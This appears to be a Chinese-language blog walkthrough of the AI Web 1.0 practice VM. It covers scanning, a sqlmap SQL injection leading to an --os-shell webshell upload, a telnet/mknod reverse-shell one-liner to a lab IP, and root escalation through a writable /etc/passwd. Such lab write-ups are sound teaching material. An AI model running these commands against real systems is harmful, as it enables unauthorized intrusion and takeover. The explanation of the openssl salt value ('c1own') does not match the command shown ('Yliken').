一、靶机下载

靶机下载地址AI Web 1.0

下载以后得到一个压缩文件

image-20240730173855427

解压之后,放到一个文件夹中。用VMware扫描虚拟机

二、主机发现

1.使用arp-scan

image-20240730174422434

2.使用msf

使用msf的auxiliary/scanner/discovery/arp_sweep模块

image-20240730174438480

三、端口扫描

1.使用nmap

image-20240730174916394

2.使用msf

使用msf的auxiliary/scanner/portscan/tcp 模块

image-20240730175007024

在80端口开放了web服务

四、访问web页面

先进行一个目录扫描

image-20240730175741771

robots.txt文件下暴露了两个路径

这两个路径都禁止访问

对这两个路径进行更近一层的目录爆破

m3diNf0目录下发现info.php

image-20240730181021422

image-20240730181054666

se3reTdir777/uploads/目录下没有爆破到什么结果

image-20240730181116862

se3reTdir777目录下面有index.php文件,不知道我什么我没有扫出来(字典中有index.php)

输入'‘存在数据库报错

bp抓包,暴库名

image-20240730191608366

没有发现过滤,用sqlmap跑了

用sqlmap跑post的方法

先将数据包保存到一个txt文件中,在存在注入的参数后面加一个 *

然后执行命令

1
sqlmap -r 你保存的文件名 --batch --dbs

1
2
3
执行
sqlmap -r 你保存的文件名 --batch --privileges
发现有对文件的读写权限

1
2
3
执行
sqlmap -r 你保存的文件名 --os-shell
这里吧--batch参数去掉

一句话木马选择php

这里写马路径选择2(我们自己输入)

在刚才的info.php中可以找到网站根目录

输入进去

网站根目录没有写的权限,这次写到upload目录下

写入两个文件一个是有文件上传功能的php文件,一个是webshell

上传一个木马,进行连接(上传后的文件上传到upload目录下面)

反弹shell

1
rm -f x; mknod x p && telnet 192.168.72.128 7777 0<x | /bin/bash 1>x 

五、提权

/etc/passwd文件的所有者和所属组都是www-data

可以通过手动添加管理用户来提权

先用openssl来生成密码

1
openssl passwd -1 -salt Yliken 123456
  • openssl: 这是一个开源的加密工具包,支持各种密码学操作。
  • passwd: 这是 OpenSSL 工具中用来生成密码哈希的命令。
  • -1: 这个选项指定了使用的哈希算法类型,这里的 -1 表示使用 MD5 算法进行哈希。
  • -salt c1own: -salt 选项用来指定盐值,这里的盐是 c1own
  • 123456: 这是待哈希的原始密码

然后写入到passwd中

然后su切换到新建的Yliken用户上这里在我的 终端工具 上面执行命令没有效果

将shell反弹到我的Ubuntu主机上面进行接下来的操作

python生成一个交互式的shell

1
python -c "import pty;pty.spawn('/bin/bash')"

这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty 模块来生成一个伪终端,然后在该伪终端上运行 /bin/bash ,从而创建一个交互式的 Bash Shell。

然后就提权成功了